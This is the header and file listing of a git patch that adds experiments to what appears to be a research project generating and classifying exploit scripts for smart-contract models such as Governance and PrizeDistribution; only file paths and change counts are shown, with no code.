From f02fe329cec6ae7b5edeabd7fb6ffbbf7277aadc Mon Sep 17 00:00:00 2001 From: Mojtaba Eshghie Date: Wed, 19 Jun 2024 13:20:37 +0200 Subject: [PATCH] Adding experiments --- .../GovernanceExploit-1.js} | 38 ++-- .../GovernanceExploit-10.js | 111 ++++++++++++ .../GovernanceExploit-11.js | 111 ++++++++++++ .../GovernanceExploit-12.js | 38 ++-- .../GovernanceExploit-13.js | 37 ++-- .../GovernanceExploit-14.js | 38 ++-- .../GovernanceExploit-15.js | 42 +++-- .../GovernanceExploit-16.js | 42 ++--- .../GovernanceExploit-17.js | 45 ++--- .../GovernanceExploit-18.js | 44 +++-- .../GovernanceExploit-19.js | 39 ++-- .../GovernanceExploit-2.js | 107 +++++++++++ .../GovernanceExploit-20.js | 38 ++-- .../GovernanceExploit-21.js | 111 ++++++++++++ .../GovernanceExploit-22.js | 43 ++--- .../GovernanceExploit-23.js | 111 ++++++++++++ .../GovernanceExploit-24.js | 41 ++--- .../GovernanceExploit-25.js | 47 +++-- .../GovernanceExploit-3.js | 42 +++-- .../GovernanceExploit-4.js | 111 ++++++++++++ .../GovernanceExploit-5.js | 111 ++++++++++++ .../GovernanceExploit-6.js | 40 +++-- .../GovernanceExploit-7.js | 45 +++-- .../GovernanceExploit-8.js | 36 ++-- .../GovernanceExploit-9.js | 43 +++-- .../PrizeDistributionExploit-1.js} | 108 +++++------ .../PrizeDistributionExploit-10.js | 144 +++++++++++++++ .../PrizeDistributionExploit-11.js | 146 +++++++++++++++ .../PrizeDistributionExploit-12.js | 156 ++++++++++++++++ .../PrizeDistributionExploit-13.js | 144 +++++++++++++++ .../PrizeDistributionExploit-14.js | 132 ++++++++++++++ .../PrizeDistributionExploit-15.js | 145 +++++++++++++++ .../PrizeDistributionExploit-16.js | 156 ++++++++++++++++ .../PrizeDistributionExploit-17.js | 166 +++++++++++++++++ .../PrizeDistributionExploit-18.js | 166 +++++++++++++++++ .../PrizeDistributionExploit-19.js | 157 ++++++++++++++++ .../PrizeDistributionExploit-2.js} | 101 ++++++----- .../PrizeDistributionExploit-20.js | 168 ++++++++++++++++++ .../PrizeDistributionExploit-21.js | 157 ++++++++++++++++ .../PrizeDistributionExploit-22.js | 167 +++++++++++++++++ .../PrizeDistributionExploit-23.js | 157 ++++++++++++++++ .../PrizeDistributionExploit-24.js | 168 ++++++++++++++++++ .../PrizeDistributionExploit-25.js | 155 ++++++++++++++++ .../PrizeDistributionExploit-3.js | 132 ++++++++++++++ .../PrizeDistributionExploit-4.js} | 108 ++++++----- .../PrizeDistributionExploit-5.js | 134 ++++++++++++++ .../PrizeDistributionExploit-6.js | 133 ++++++++++++++ .../PrizeDistributionExploit-7.js | 134 ++++++++++++++ .../PrizeDistributionExploit-8.js | 133 ++++++++++++++ .../PrizeDistributionExploit-9.js | 131 ++++++++++++++ .../PrizeDistributionExploit-1.js} | 72 ++++---- .../PrizeDistributionExploit-10.js | 138 ++++++++++++++ .../PrizeDistributionExploit-11.js | 138 ++++++++++++++ .../PrizeDistributionExploit-12.js | 140 +++++++++++++++ .../PrizeDistributionExploit-13.js} | 54 +++--- .../PrizeDistributionExploit-14.js} | 76 ++++---- .../PrizeDistributionExploit-15.js | 150 ++++++++++++++++ .../PrizeDistributionExploit-16.js | 144 +++++++++++++++ .../PrizeDistributionExploit-17.js | 136 ++++++++++++++ .../PrizeDistributionExploit-18.js | 141 +++++++++++++++ .../PrizeDistributionExploit-19.js | 133 ++++++++++++++ .../PrizeDistributionExploit-2.js | 133 ++++++++++++++ .../PrizeDistributionExploit-20.js | 0 .../PrizeDistributionExploit-21.js | 0 .../PrizeDistributionExploit-22.js | 0 .../PrizeDistributionExploit-23.js | 0 .../PrizeDistributionExploit-24.js | 0 .../PrizeDistributionExploit-25.js | 0 .../PrizeDistributionExploit-3.js | 38 ++-- .../PrizeDistributionExploit-4.js | 138 ++++++++++++++ .../PrizeDistributionExploit-5.js | 139 +++++++++++++++ .../PrizeDistributionExploit-6.js | 137 ++++++++++++++ .../PrizeDistributionExploit-7.js | 136 ++++++++++++++ .../PrizeDistributionExploit-8.js | 139 +++++++++++++++ .../PrizeDistributionExploit-9.js} | 11 +- .../GovernanceExploit-1.js | 114 ------------ .../GovernanceExploit-10.js | 115 ------------ .../GovernanceExploit-11.js | 128 ------------- .../GovernanceExploit-21.js | 116 ------------ .../GovernanceExploit-23.js | 114 ------------ .../GovernanceExploit-4.js | 119 ------------- .../GovernanceExploit-5.js | 118 ------------ .../PrizeDistributionExploit-10.js | 112 ------------ .../PrizeDistributionExploit-11.js | 106 ----------- .../PrizeDistributionExploit-12.js | 120 ------------- .../PrizeDistributionExploit-13.js | 119 ------------- .../PrizeDistributionExploit-14.js | 111 ------------ .../PrizeDistributionExploit-16.js | 109 ------------ .../PrizeDistributionExploit-17.js | 114 ------------ .../PrizeDistributionExploit-18.js | 101 ----------- .../PrizeDistributionExploit-19.js | 107 ----------- .../PrizeDistributionExploit-5.js | 131 -------------- .../PrizeDistributionExploit-9.js | 109 ------------ .../EscrowExploit-1.js | 0 .../EscrowExploit-2.js | 0 .../EscrowExploit-3.js | 0 .../EscrowExploit-4.js | 0 .../synthesized/GovernanceExploit-1.js | 31 ++-- .../synthesized/GovernanceExploit-10.js | 52 +++--- .../synthesized/GovernanceExploit-11.js | 53 ++++-- .../synthesized/GovernanceExploit-12.js | 38 ++-- .../synthesized/GovernanceExploit-13.js | 37 ++-- .../synthesized/GovernanceExploit-14.js | 38 ++-- .../synthesized/GovernanceExploit-15.js | 42 ++--- .../synthesized/GovernanceExploit-16.js | 42 +++-- .../synthesized/GovernanceExploit-17.js | 45 +++-- .../synthesized/GovernanceExploit-18.js | 44 ++--- .../synthesized/GovernanceExploit-19.js | 39 ++-- .../synthesized/GovernanceExploit-2.js | 48 +++-- .../synthesized/GovernanceExploit-20.js | 38 ++-- .../synthesized/GovernanceExploit-21.js | 51 +++--- .../synthesized/GovernanceExploit-22.js | 43 +++-- .../synthesized/GovernanceExploit-23.js | 47 ++--- .../synthesized/GovernanceExploit-24.js | 41 +++-- .../synthesized/GovernanceExploit-25.js | 47 ++--- .../synthesized/GovernanceExploit-3.js | 42 ++--- .../synthesized/GovernanceExploit-4.js | 70 ++++---- .../synthesized/GovernanceExploit-5.js | 53 +++--- .../synthesized/GovernanceExploit-6.js | 40 ++--- .../synthesized/GovernanceExploit-7.js | 45 ++--- .../synthesized/GovernanceExploit-8.js | 36 ++-- .../synthesized/GovernanceExploit-9.js | 43 ++--- .../MultiStageAuctionExploit-1.js | 0 .../MultiStageAuctionExploit-10.js | 0 .../MultiStageAuctionExploit-11.js | 0 .../MultiStageAuctionExploit-12.js | 0 .../MultiStageAuctionExploit-13.js | 0 .../MultiStageAuctionExploit-14.js | 0 .../MultiStageAuctionExploit-15.js | 0 .../MultiStageAuctionExploit-16.js | 0 .../MultiStageAuctionExploit-17.js | 0 .../MultiStageAuctionExploit-18.js | 0 .../MultiStageAuctionExploit-19.js | 0 .../MultiStageAuctionExploit-2.js | 0 .../MultiStageAuctionExploit-20.js | 0 .../MultiStageAuctionExploit-21.js | 0 .../MultiStageAuctionExploit-22.js | 0 .../MultiStageAuctionExploit-23.js | 0 .../MultiStageAuctionExploit-24.js | 0 .../MultiStageAuctionExploit-25.js | 0 .../MultiStageAuctionExploit-3.js | 0 .../MultiStageAuctionExploit-4.js | 0 .../MultiStageAuctionExploit-5.js | 0 .../MultiStageAuctionExploit-6.js | 0 .../MultiStageAuctionExploit-7.js | 0 .../MultiStageAuctionExploit-8.js | 0 .../MultiStageAuctionExploit-9.js | 0 .../synthesized/PrizeDistributionExploit-1.js | 110 ++++++------ .../PrizeDistributionExploit-10.js | 126 +++++-------- .../PrizeDistributionExploit-11.js | 122 +++++-------- .../PrizeDistributionExploit-12.js | 144 ++++++--------- .../PrizeDistributionExploit-13.js | 133 ++++++-------- .../PrizeDistributionExploit-14.js | 113 +++++------- .../PrizeDistributionExploit-15.js | 133 ++++++-------- .../PrizeDistributionExploit-16.js | 137 +++++--------- .../PrizeDistributionExploit-17.js | 150 +++++----------- .../PrizeDistributionExploit-18.js | 139 ++++----------- .../PrizeDistributionExploit-19.js | 136 +++++--------- .../synthesized/PrizeDistributionExploit-2.js | 112 ++++++------ .../PrizeDistributionExploit-20.js | 143 +++++---------- .../PrizeDistributionExploit-21.js | 136 +++++--------- .../PrizeDistributionExploit-22.js | 167 +++++++---------- .../PrizeDistributionExploit-23.js | 137 +++++--------- .../PrizeDistributionExploit-24.js | 148 +++++---------- .../PrizeDistributionExploit-25.js | 133 +++++--------- .../synthesized/PrizeDistributionExploit-3.js | 128 ++++++------- .../synthesized/PrizeDistributionExploit-4.js | 134 +++++++------- .../synthesized/PrizeDistributionExploit-5.js | 133 +++++++------- .../synthesized/PrizeDistributionExploit-6.js | 119 ++++++------- .../synthesized/PrizeDistributionExploit-7.js | 128 +++++++------ .../synthesized/PrizeDistributionExploit-8.js | 119 ++++++------- .../synthesized/PrizeDistributionExploit-9.js | 110 +++++------- .../ProductOrderExploit-1.js | 0 .../ProductOrderExploit-10.js | 0 .../ProductOrderExploit-11.js | 0 .../ProductOrderExploit-12.js | 0 .../ProductOrderExploit-13.js | 0 .../ProductOrderExploit-14.js | 0 .../ProductOrderExploit-15.js | 0 .../ProductOrderExploit-16.js | 0 .../ProductOrderExploit-17.js | 0 .../ProductOrderExploit-18.js | 0 .../ProductOrderExploit-19.js | 0 .../ProductOrderExploit-2.js | 0 .../ProductOrderExploit-20.js | 0 .../ProductOrderExploit-21.js | 0 .../ProductOrderExploit-22.js | 0 .../ProductOrderExploit-23.js | 0 .../ProductOrderExploit-24.js | 0 .../ProductOrderExploit-25.js | 0 .../ProductOrderExploit-3.js | 0 .../ProductOrderExploit-4.js | 0 .../ProductOrderExploit-5.js | 0 .../ProductOrderExploit-6.js | 0 .../ProductOrderExploit-7.js | 0 .../ProductOrderExploit-8.js | 0 .../ProductOrderExploit-9.js | 0 ...Similarity_Distribution-prompt-1-and-2.pdf | Bin 14731 -> 13658 bytes ...ccard_Similarity_Distribution-prompt-1.pdf | Bin 15866 -> 14790 bytes analyzer/Jaccard_Similarity_Distribution.pdf | Bin 13451 -> 14732 bytes analyzer/analysis.ipynb | 48 ++--- config-synthesized.yml | 68 +++---- .../PrizeDistribution-1.sol | 45 +++++ .../PrizeDistribution-10.sol | 42 +++++ .../PrizeDistribution-11.sol | 45 +++++ .../PrizeDistribution-12.sol | 46 +++++ .../PrizeDistribution-13.sol | 48 +++++ .../PrizeDistribution-14.sol | 45 +++++ .../PrizeDistribution-15.sol | 46 +++++ .../PrizeDistribution-16.sol | 48 +++++ .../PrizeDistribution-17.sol | 48 +++++ .../PrizeDistribution-18.sol | 46 +++++ .../PrizeDistribution-19.sol | 47 +++++ .../PrizeDistribution-2.sol | 45 +++++ .../PrizeDistribution-20.sol | 0 .../PrizeDistribution-21.sol | 0 .../PrizeDistribution-22.sol | 0 .../PrizeDistribution-23.sol | 0 .../PrizeDistribution-24.sol | 0 .../PrizeDistribution-25.sol | 0 .../PrizeDistribution-3.sol | 42 +++++ .../PrizeDistribution-4.sol | 45 +++++ .../PrizeDistribution-5.sol | 42 +++++ .../PrizeDistribution-6.sol | 45 +++++ .../PrizeDistribution-7.sol | 45 +++++ .../PrizeDistribution-8.sol | 45 +++++ .../PrizeDistribution-9.sol | 49 +++++ .../Governance-1.md | 0 .../PrizeDistribution-1.md | 0 .../PrizeDistribution-16.md | 0 .../PrizeDistribution-17.md | 0 .../PrizeDistribution-2.md | 0 .../PrizeDistribution-21.md | 0 .../PrizeDistribution-22.md | 0 .../PrizeDistribution-23.md | 0 .../PrizeDistribution-24.md | 0 .../PrizeDistribution-3.md | 0 .../PrizeDistribution-8.md | 0 .../json/failed_exploits.json | 0 .../json/successful_exploits.json | 0 .../json/unresolved_exploits.json | 0 .../AvaxRouter.md | 0 .../Escrow-1.md | 0 .../Escrow-2.md | 0 .../Escrow-3.md | 0 .../Escrow-4.md | 0 .../Escrow.md | 0 .../EthRouter.md | 0 .../Governance-1.md | 0 .../Governance-15.md | 0 .../Governance-17.md | 0 .../Governance-18.md | 0 .../Governance-19.md | 0 .../Governance-2.md | 0 .../Governance-22.md | 0 .../Governance-25.md | 0 .../Governance-3.md | 0 .../Governance-4.md | 0 .../Governance-5.md | 0 .../Governance-6.md | 0 .../Governance-7.md | 0 .../Governance-8.md | 0 .../Governance-9.md | 0 .../Governance.md | 0 .../Governance.pdf | Bin .../MultiStageAuction-1.md | 0 .../MultiStageAuction-10.md | 0 .../MultiStageAuction-11.md | 0 .../MultiStageAuction-13.md | 0 .../MultiStageAuction-16.md | 0 .../MultiStageAuction-17.md | 0 .../MultiStageAuction-18.md | 0 .../MultiStageAuction-19.md | 0 .../MultiStageAuction-2.md | 0 .../MultiStageAuction-20.md | 0 .../MultiStageAuction-21.md | 0 .../MultiStageAuction-23.md | 0 .../MultiStageAuction-24.md | 0 .../MultiStageAuction-25.md | 0 .../MultiStageAuction-3.md | 0 .../MultiStageAuction-4.md | 0 .../MultiStageAuction-5.md | 0 .../MultiStageAuction-6.md | 0 .../MultiStageAuction-7.md | 0 .../MultiStageAuction-8.md | 0 .../MultiStageAuction-9.md | 0 .../MultiStageAuction.md | 0 .../PrizeDistribution-10.md | 0 .../PrizeDistribution-11.md | 0 .../PrizeDistribution-14.md | 0 .../PrizeDistribution-2.md | 0 .../PrizeDistribution-20.md | 0 .../PrizeDistribution-23.md | 0 .../PrizeDistribution-24.md | 0 .../PrizeDistribution-25.md | 0 .../PrizeDistribution-3.md | 0 .../PrizeDistribution-6.md | 0 .../PrizeDistribution-8.md | 0 .../PrizeDistribution-9.md | 0 .../PrizeDistribution.md | 0 .../ProductOrder-1.md | 0 .../ProductOrder-11.md | 0 .../ProductOrder-13.md | 0 .../ProductOrder-14.md | 0 .../ProductOrder-15.md | 0 .../ProductOrder-16.md | 0 .../ProductOrder-17.md | 0 .../ProductOrder-19.md | 0 .../ProductOrder-2.md | 0 .../ProductOrder-20.md | 0 .../ProductOrder-22.md | 0 .../ProductOrder-24.md | 0 .../ProductOrder-5.md | 0 .../ProductOrder-6.md | 0 .../ProductOrder-8.md | 0 .../ProductOrder-9.md | 0 .../ProductOrder.md | 0 .../all-exploit-results/Escrow-1.md | 0 .../all-exploit-results/Escrow-2.md | 0 .../all-exploit-results/Escrow-3.md | 0 .../all-exploit-results/Escrow-4.md | 0 .../all-exploit-results/Governance-1.md | 0 .../all-exploit-results/Governance-15.md | 0 .../all-exploit-results/Governance-17.md | 0 .../all-exploit-results/Governance-18.md | 0 .../all-exploit-results/Governance-19.md | 0 .../all-exploit-results/Governance-2.md | 0 .../all-exploit-results/Governance-22.md | 0 .../all-exploit-results/Governance-25.md | 0 .../all-exploit-results/Governance-3.md | 0 .../all-exploit-results/Governance-4.md | 0 .../all-exploit-results/Governance-5.md | 0 .../all-exploit-results/Governance-6.md | 0 .../all-exploit-results/Governance-7.md | 0 .../all-exploit-results/Governance-8.md | 0 .../all-exploit-results/Governance-9.md | 0 .../MultiStageAuction-1.md | 0 .../MultiStageAuction-10.md | 0 .../MultiStageAuction-11.md | 0 .../MultiStageAuction-13.md | 0 .../MultiStageAuction-16.md | 0 .../MultiStageAuction-17.md | 0 .../MultiStageAuction-18.md | 0 .../MultiStageAuction-19.md | 0 .../MultiStageAuction-2.md | 0 .../MultiStageAuction-20.md | 0 .../MultiStageAuction-21.md | 0 .../MultiStageAuction-23.md | 0 .../MultiStageAuction-24.md | 0 .../MultiStageAuction-25.md | 0 .../MultiStageAuction-3.md | 0 .../MultiStageAuction-4.md | 0 .../MultiStageAuction-5.md | 0 .../MultiStageAuction-6.md | 0 .../MultiStageAuction-7.md | 0 .../MultiStageAuction-8.md | 0 .../MultiStageAuction-9.md | 0 .../PrizeDistribution-10.md | 0 .../PrizeDistribution-11.md | 0 .../PrizeDistribution-14.md | 0 .../PrizeDistribution-2.md | 0 .../PrizeDistribution-20.md | 0 .../PrizeDistribution-23.md | 0 .../PrizeDistribution-24.md | 0 .../PrizeDistribution-25.md | 0 .../PrizeDistribution-3.md | 0 .../PrizeDistribution-6.md | 0 .../PrizeDistribution-8.md | 0 .../PrizeDistribution-9.md | 0 .../all-exploit-results/ProductOrder-1.md | 0 .../all-exploit-results/ProductOrder-11.md | 0 .../all-exploit-results/ProductOrder-13.md | 0 .../all-exploit-results/ProductOrder-14.md | 0 .../all-exploit-results/ProductOrder-15.md | 0 .../all-exploit-results/ProductOrder-16.md | 0 .../all-exploit-results/ProductOrder-17.md | 0 .../all-exploit-results/ProductOrder-19.md | 0 .../all-exploit-results/ProductOrder-2.md | 0 .../all-exploit-results/ProductOrder-20.md | 0 .../all-exploit-results/ProductOrder-22.md | 0 .../all-exploit-results/ProductOrder-24.md | 0 .../all-exploit-results/ProductOrder-5.md | 0 .../all-exploit-results/ProductOrder-6.md | 0 .../all-exploit-results/ProductOrder-8.md | 0 .../all-exploit-results/ProductOrder-9.md | 0 .../auction/MultiStageAuction-1.md | 0 .../auction/MultiStageAuction-10.md | 0 .../auction/MultiStageAuction-11.md | 0 .../auction/MultiStageAuction-13.md | 0 .../auction/MultiStageAuction-16.md | 0 .../auction/MultiStageAuction-17.md | 0 .../auction/MultiStageAuction-18.md | 0 .../auction/MultiStageAuction-19.md | 0 .../auction/MultiStageAuction-2.md | 0 .../auction/MultiStageAuction-20.md | 0 .../auction/MultiStageAuction-21.md | 0 .../auction/MultiStageAuction-23.md | 0 .../auction/MultiStageAuction-24.md | 0 .../auction/MultiStageAuction-25.md | 0 .../auction/MultiStageAuction-3.md | 0 .../auction/MultiStageAuction-4.md | 0 .../auction/MultiStageAuction-5.md | 0 .../auction/MultiStageAuction-6.md | 0 .../auction/MultiStageAuction-7.md | 0 .../auction/MultiStageAuction-8.md | 0 .../auction/MultiStageAuction-9.md | 0 .../containing-violation/Escrow-1.md | 0 .../containing-violation/Escrow-3.md | 0 .../containing-violation/Governance-1.md | 0 .../containing-violation/Governance-15.md | 0 .../containing-violation/Governance-17.md | 0 .../containing-violation/Governance-18.md | 0 .../containing-violation/Governance-19.md | 0 .../containing-violation/Governance-2.md | 0 .../containing-violation/Governance-22.md | 0 .../containing-violation/Governance-25.md | 0 .../containing-violation/Governance-3.md | 0 .../containing-violation/Governance-4.md | 0 .../containing-violation/Governance-5.md | 0 .../containing-violation/Governance-6.md | 0 .../containing-violation/Governance-7.md | 0 .../containing-violation/Governance-8.md | 0 .../containing-violation/Governance-9.md | 0 .../MultiStageAuction-1.md | 0 .../MultiStageAuction-10.md | 0 .../MultiStageAuction-11.md | 0 .../MultiStageAuction-17.md | 0 .../MultiStageAuction-23.md | 0 .../MultiStageAuction-24.md | 0 .../MultiStageAuction-3.md | 0 .../MultiStageAuction-4.md | 0 .../MultiStageAuction-5.md | 0 .../MultiStageAuction-6.md | 0 .../MultiStageAuction-7.md | 0 .../MultiStageAuction-8.md | 0 .../MultiStageAuction-9.md | 0 .../PrizeDistribution-10.md | 0 .../PrizeDistribution-14.md | 0 .../PrizeDistribution-20.md | 0 .../PrizeDistribution-25.md | 0 .../PrizeDistribution-3.md | 0 .../PrizeDistribution-6.md | 0 .../PrizeDistribution-9.md | 0 .../containing-violation/ProductOrder-1.md | 0 .../containing-violation/ProductOrder-11.md | 0 .../containing-violation/ProductOrder-13.md | 0 .../containing-violation/ProductOrder-15.md | 0 .../containing-violation/ProductOrder-16.md | 0 .../containing-violation/ProductOrder-17.md | 0 .../containing-violation/ProductOrder-19.md | 0 .../containing-violation/ProductOrder-2.md | 0 .../containing-violation/ProductOrder-20.md | 0 .../containing-violation/ProductOrder-22.md | 0 .../containing-violation/ProductOrder-24.md | 0 .../containing-violation/ProductOrder-5.md | 0 .../containing-violation/ProductOrder-6.md | 0 .../containing-violation/ProductOrder-9.md | 0 .../escrow/Escrow-1.md | 0 .../escrow/Escrow-2.md | 0 .../escrow/Escrow-3.md | 0 .../escrow/Escrow-4.md | 0 .../governance/Governance-1.md | 0 .../governance/Governance-15.md | 0 .../governance/Governance-17.md | 0 .../governance/Governance-18.md | 0 .../governance/Governance-19.md | 0 .../governance/Governance-2.md | 0 .../governance/Governance-22.md | 0 .../governance/Governance-25.md | 0 .../governance/Governance-3.md | 0 .../governance/Governance-4.md | 0 .../governance/Governance-5.md | 0 .../governance/Governance-6.md | 0 .../governance/Governance-7.md | 0 .../governance/Governance-8.md | 0 .../governance/Governance-9.md | 0 .../json/failed_exploits.json | 0 .../json/successful_exploits.json | 0 .../json/unresolved_exploits.json | 0 .../partly-exploitable/Escrow-1.md | 0 .../partly-exploitable/Escrow-3.md | 0 .../partly-exploitable/Governance-1.md | 0 .../partly-exploitable/Governance-15.md | 0 .../partly-exploitable/Governance-17.md | 0 .../partly-exploitable/Governance-18.md | 0 .../partly-exploitable/Governance-2.md | 0 .../partly-exploitable/Governance-3.md | 0 .../partly-exploitable/Governance-4.md | 0 .../partly-exploitable/Governance-5.md | 0 .../partly-exploitable/Governance-6.md | 0 .../partly-exploitable/Governance-7.md | 0 .../partly-exploitable/Governance-8.md | 0 .../partly-exploitable/Governance-9.md | 0 .../MultiStageAuction-23.md | 0 .../MultiStageAuction-24.md | 0 .../PrizeDistribution-10.md | 0 .../PrizeDistribution-14.md | 0 .../PrizeDistribution-20.md | 0 .../PrizeDistribution-25.md | 0 .../partly-exploitable/PrizeDistribution-3.md | 0 .../partly-exploitable/PrizeDistribution-6.md | 0 .../partly-exploitable/PrizeDistribution-9.md | 0 .../partly-exploitable/ProductOrder-1.md | 0 .../partly-exploitable/ProductOrder-11.md | 0 .../partly-exploitable/ProductOrder-13.md | 0 .../partly-exploitable/ProductOrder-15.md | 0 .../partly-exploitable/ProductOrder-16.md | 0 .../partly-exploitable/ProductOrder-17.md | 0 .../partly-exploitable/ProductOrder-19.md | 0 .../partly-exploitable/ProductOrder-2.md | 0 .../partly-exploitable/ProductOrder-20.md | 0 .../partly-exploitable/ProductOrder-22.md | 0 .../partly-exploitable/ProductOrder-24.md | 0 .../partly-exploitable/ProductOrder-5.md | 0 .../partly-exploitable/ProductOrder-6.md | 0 .../partly-exploitable/ProductOrder-9.md | 0 .../prizedist/PrizeDistribution-10.md | 0 .../prizedist/PrizeDistribution-11.md | 0 .../prizedist/PrizeDistribution-14.md | 0 .../prizedist/PrizeDistribution-2.md | 0 .../prizedist/PrizeDistribution-20.md | 0 .../prizedist/PrizeDistribution-23.md | 0 .../prizedist/PrizeDistribution-24.md | 0 .../prizedist/PrizeDistribution-25.md | 0 .../prizedist/PrizeDistribution-3.md | 0 .../prizedist/PrizeDistribution-6.md | 0 .../prizedist/PrizeDistribution-8.md | 0 .../prizedist/PrizeDistribution-9.md | 0 .../productorder/ProductOrder-1.md | 0 .../productorder/ProductOrder-11.md | 0 .../productorder/ProductOrder-13.md | 0 .../productorder/ProductOrder-14.md | 0 .../productorder/ProductOrder-15.md | 0 .../productorder/ProductOrder-16.md | 0 .../productorder/ProductOrder-17.md | 0 .../productorder/ProductOrder-19.md | 0 .../productorder/ProductOrder-2.md | 0 .../productorder/ProductOrder-20.md | 0 .../productorder/ProductOrder-22.md | 0 .../productorder/ProductOrder-24.md | 0 .../productorder/ProductOrder-5.md | 0 .../productorder/ProductOrder-6.md | 0 .../productorder/ProductOrder-8.md | 0 .../productorder/ProductOrder-9.md | 0 results-prompt-2/PrizeDistribution-1.md | 8 - results-prompt-2/PrizeDistribution-16.md | 18 -- results-prompt-2/PrizeDistribution-17.md | 19 -- results-prompt-2/PrizeDistribution-2.md | 8 - results-prompt-2/PrizeDistribution-21.md | 15 -- results-prompt-2/PrizeDistribution-22.md | 20 --- results-prompt-2/PrizeDistribution-23.md | 16 -- results-prompt-2/PrizeDistribution-24.md | 21 --- results-prompt-2/PrizeDistribution-3.md | 13 -- results/Escrow-1.md | 5 + .../Escrow-2.md | 2 +- results/Escrow-3.md | 4 + results/Escrow-4.md | 3 + results/json/failed_exploits.json | 12 ++ results/json/successful_exploits.json | 12 ++ results/json/unresolved_exploits.json | 1 + 560 files changed, 9467 insertions(+), 5450 deletions(-) rename CI/exploits/{synthesized-prompt-1/GovernanceExploit-2.js => synthesized-exploit-diversification/GovernanceExploit-1.js} (74%) create mode 100644 CI/exploits/synthesized-exploit-diversification/GovernanceExploit-10.js create mode 100644 CI/exploits/synthesized-exploit-diversification/GovernanceExploit-11.js rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-12.js (77%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-13.js (77%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-14.js (77%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-15.js (75%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-16.js (76%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-17.js (73%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-18.js (76%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-19.js (77%) create mode 100644 CI/exploits/synthesized-exploit-diversification/GovernanceExploit-2.js rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-20.js (77%) create mode 100644 CI/exploits/synthesized-exploit-diversification/GovernanceExploit-21.js rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-22.js (76%) create mode 100644 CI/exploits/synthesized-exploit-diversification/GovernanceExploit-23.js rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-24.js (75%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-25.js (73%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-3.js (76%) create mode 100644 CI/exploits/synthesized-exploit-diversification/GovernanceExploit-4.js create mode 100644 CI/exploits/synthesized-exploit-diversification/GovernanceExploit-5.js rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-6.js (78%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-7.js (73%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-8.js (79%) rename CI/exploits/{synthesized-prompt-1 => synthesized-exploit-diversification}/GovernanceExploit-9.js (75%) rename CI/exploits/{synthesized-prompt-1/PrizeDistributionExploit-15.js => synthesized-exploit-diversification/PrizeDistributionExploit-1.js} (53%) create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-10.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-11.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-12.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-13.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-14.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-15.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-16.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-17.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-18.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-19.js rename CI/exploits/{synthesized-prompt-1/PrizeDistributionExploit-8.js => synthesized-exploit-diversification/PrizeDistributionExploit-2.js} (55%) create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-20.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-21.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-22.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-23.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-24.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-25.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-3.js rename CI/exploits/{synthesized-prompt-1/PrizeDistributionExploit-6.js => synthesized-exploit-diversification/PrizeDistributionExploit-4.js} (50%) create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-5.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-6.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-7.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-8.js create mode 100644 CI/exploits/synthesized-exploit-diversification/PrizeDistributionExploit-9.js rename CI/exploits/{synthesized-prompt-1/PrizeDistributionExploit-2.js => synthesized-exploit-full-dcr/PrizeDistributionExploit-1.js} (68%) create mode 100644 CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-10.js create mode 100644 CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-11.js create mode 100644 CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-12.js rename CI/exploits/{synthesized-prompt-1/PrizeDistributionExploit-7.js => synthesized-exploit-full-dcr/PrizeDistributionExploit-13.js} (69%) rename CI/exploits/{synthesized-prompt-1/PrizeDistributionExploit-4.js => synthesized-exploit-full-dcr/PrizeDistributionExploit-14.js} (62%) create mode 100644 CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-15.js create mode 100644 CI/exploits/synthesized-exploit-full-dcr/PrizeDistributionExploit-16.js create mode 100644 